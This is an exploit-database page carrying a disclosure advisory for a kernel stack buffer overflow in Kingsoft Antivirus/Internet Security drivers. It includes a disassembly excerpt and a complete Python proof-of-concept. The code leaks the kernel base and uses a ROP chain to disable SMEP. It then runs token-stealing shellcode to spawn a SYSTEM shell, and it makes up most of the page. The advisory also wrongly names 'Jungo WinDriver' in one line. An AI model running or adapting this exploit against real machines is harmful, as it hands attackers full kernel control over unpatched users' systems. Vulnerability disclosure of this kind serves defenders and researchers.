Kingsoft Antivirus/Internet Security 9+ Privilege Escalation Exploit



EKU-ID: 7187 CVE: OSVDB-ID:
Author: SecuriTeam Published: 2017-12-28 Verified: Verified
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Vulnerability Summary
  
The following advisory describes a kernel stack buffer overflow that leads to privilege escalation found in Kingsoft Antivirus/Internet Security 9+.
  
Kingsoft Antivirus “provides effective and efficient protection solution at no cost to users. It applies cloud security technology to monitor, scan and protect your systems without any worrying. The comprehensive defender and anti-virus tools prevent and protect your computer from unwanted virus, worms, and Trojans. With the simplest and easiest-to-use functions, users find themselves no difficulty to handle Kingsoft Antivirus.”
Credit
  
An independent security researcher, Steven Seeley, has reported this vulnerabilities to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
  
We tried to contact Kingsoft since October 8 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerability.
Vulnerability details
  
This vulnerability allows local attackers to escalate privileges on vulnerable installations of Jungo WinDriver.
  
The specific flaws exists within the processing of IOCTL 0x80030004 or 0x80030008 by either the kavfm.sys (anti-virus) or the KWatch3.sys (internet security) kernel driver.
  
The driver doesn’t properly validate user-supplied data which can result in a kernel stack buffer overflow.
  
An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.
  
; jumptable 000117C1 case 0
.text:000117C8 loc_117C8:                                      ; CODE XREF: sub_11790+31
.text:000117C8                                                 
.text:000117C8                 push    ebx                     ; our input buffer size
.text:000117C9                 lea     ecx, [esp+58h+var_40]   ; this is a fixed size stack buffer of 0x40
.text:000117CD                 push    edi                     ; our input buffer
.text:000117CE                 push    ecx                     ; char *
.text:000117CF                 call    strncpy                 ; stack buffer overflow
.text:000117D4                 add     esp, 0Ch
.text:000117D7                 lea     edx, [esp+54h+var_40]
.text:000117DB                 push    edx                     ; char *
.text:000117DC                 mov     [esp+ebx+58h+var_40], 0
.text:000117E1                 call    sub_167B0
.text:000117E6                 pop     edi
.text:000117E7                 mov     esi, eax
.text:000117E9                 pop     esi
.text:000117EA                 pop     ebp
.text:000117EB                 pop     ebx
.text:000117EC                 add     esp, 44h
.text:000117EF                 retn    8
  
Proof of Concept
  
import sys
from ctypes import *
from time import sleep
from ctypes.wintypes import *
import struct
import os
from random import choice
  
kernel32 = windll.kernel32
ntdll = windll.ntdll
  
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS = 0
  
def get_ioctl():
    return choice([0x80030004, 0x80030008])
  
def alloc_shellcode(base, input_size):
    """ 
    allocates some shellcode
    """
    print "(+) allocating shellcode @ 0x%x" % base
    baseadd = c_int(base)
    size    = c_int(input_size)
  
    # --[ setup]
    input  = struct.pack("<I", 0x000506f8)      # bypass smep
  
    # --[ setup]
    input += "\x60"                             # pushad
    input += "\x64\xa1\x24\x01\x00\x00"         # mov eax, fs:[KTHREAD_OFFSET]
  
    # I have to do it like this because windows is a little special
    # this just gets the EPROCESS. Windows 7 is 0x50, now its 0x80.
    input += "\x8d\x40\x70"                     # lea eax, [eax+0x70];
    input += "\x8b\x40\x10"                     # mov eax, [eax+0x10];
    input += "\x89\xc1"                         # mov ecx, eax (Current _EPROCESS structure)
  
    # win 10 rs2 x86 TOKEN_OFFSET = 0xfc
    # win 07 sp1 x86 TOKEN_OFFSET = 0xf8
    input += "\x8B\x98\xfc\x00\x00\x00"         # mov ebx, [eax + TOKEN_OFFSET]
  
    # --[ copy system PID token]
    input += "\xba\x04\x00\x00\x00"             # mov edx, 4 (SYSTEM PID)
    input += "\x8b\x80\xb8\x00\x00\x00"         # mov eax, [eax + FLINK_OFFSET] <-|
    input += "\x2d\xb8\x00\x00\x00"             # sub eax, FLINK_OFFSET           |
    input += "\x39\x90\xb4\x00\x00\x00"         # cmp [eax + PID_OFFSET], edx     |
    input += "\x75\xed"                         # jnz                           ->|
  
    # win 10 rs2 x86 TOKEN_OFFSET = 0xfc
    # win 07 sp1 x86 TOKEN_OFFSET = 0xf8
    input += "\x8b\x90\xfc\x00\x00\x00"         # mov edx, [eax + TOKEN_OFFSET]
    input += "\x89\x91\xfc\x00\x00\x00"         # mov [ecx + TOKEN_OFFSET], edx
  
    # --[ recover]
    input += "\x61"                             # popad
    input += "\x83\xc4\x0c"                     # adjust the stack by 0xc
    input += "\x31\xc0"                         # return NTSTATUS = STATUS_SUCCESS
    input += "\xc3"                             # ret
  
    # filler
    input += "\x43" * (input_size-len(input))
    ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, 
                                              POINTER(c_int), c_int, c_int]
    dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0, 
                                             byref(size), 
                                             MEM_RESERVE|MEM_COMMIT,
                                             PAGE_EXECUTE_READWRITE)
    if dwStatus != STATUS_SUCCESS:
        print "(-) Error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
        return False
    written = c_ulong()
    write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))
    if write == 0:
        print "(-) Error while writing our input buffer memory: %s" % write
        return False
    return True
  
def alloc(base, input_size, ip):
    baseadd   = c_int(base)
    size = c_int(input_size)
    input = "\x44" * 0x40                       # offset to ip
  
    # start our rop chain
    input += struct.pack("<I", nt + 0x51976f)   # pop ecx; ret
    input += struct.pack("<I", 0x75757575)      # junk
    input += struct.pack("<I", 0x76767676)      # junk
    input += struct.pack("<I", ip)              # load 0x506f8
    input += struct.pack("<I", nt + 0x04664f)   # mov eax, [ecx]; ret
    input += struct.pack("<I", nt + 0x22f2da)   # mov cr4,eax; ret
    input += struct.pack("<I", ip + 0x4)        # &shellcode
  
    # filler
    input += "\x43" * (input_size-len(input))
  
    ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, 
                                              POINTER(c_int), c_int, c_int]
    dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0, 
                                             byref(size), 
                                             MEM_RESERVE|MEM_COMMIT,
                                             PAGE_EXECUTE_READWRITE)
    if dwStatus != STATUS_SUCCESS:
        print "(-) error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
        sys.exit()
    written = c_ulong()
    write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))
    if write == 0:
        print "(-) error while writing our input buffer memory: %s" % write
        sys.exit()
  
def we_can_trigger_overflow():
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    IOCTL_VULN    = get_ioctl()
    DEVICE_NAME   = "\\\\.\\KWatch3"
    dwReturn      = c_ulong()
    driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
    ip            = 0x24242424
  
    inputbuffer   = 0x41414141
    inputbuffer_size = 0x60
    outputbuffer_size = 0x1000
    outputbuffer      = 0x20000000
  
    alloc(inputbuffer, inputbuffer_size, ip)
    alloc_shellcode(ip, 0x100)
    alloc(outputbuffer, 0x100, ip)
  
    IoStatusBlock = c_ulong()
    if driver_handle:
        print "(+) sending stack overflow..."
        dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL_VULN,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size
                                       )
        return True
    return False
  
def we_can_leak_the_base():
    """
    Get kernel base address.
    This function uses psapi!EnumDeviceDrivers which is only callable
    from a non-restricted caller (medium integrity or higher). Also the
    assumption is made that the kernel is the first array element returned.
    """
    global nt
    print "(+) enumerating kernel base address..."
  
    array = c_ulonglong * 1024
    lpImageBase = array()
    szDriver    = array()
    cb = sizeof(lpImageBase)
    lpcbNeeded = c_long()
  
    res = windll.psapi.EnumDeviceDrivers(byref(lpImageBase),
                                         sizeof(lpImageBase),
                                         byref(lpcbNeeded))
    if not res:
        print "(-) unable to get kernel base: " + FormatError()
        sys.exit(-1)
  
    # nt is the first one
    nt = lpImageBase[0] & 0x00000000ffffffff
    return True
  
def main():
    print "\n\t--[ Kingsoft Internet Security Kernel Stack Overflow EoP Exploit ]"
    print "\t               Steven Seeley (mr_me) of Source Incite\r\n"
    if we_can_leak_the_base():
        print "(+) found nt base at 0x%08x" % (nt)
        if we_can_trigger_overflow():
            os.system("cmd.exe")
    else:
        print "(-) it appears that kingsoft Internet Security is not installed!"
if __name__ == '__main__':
    main()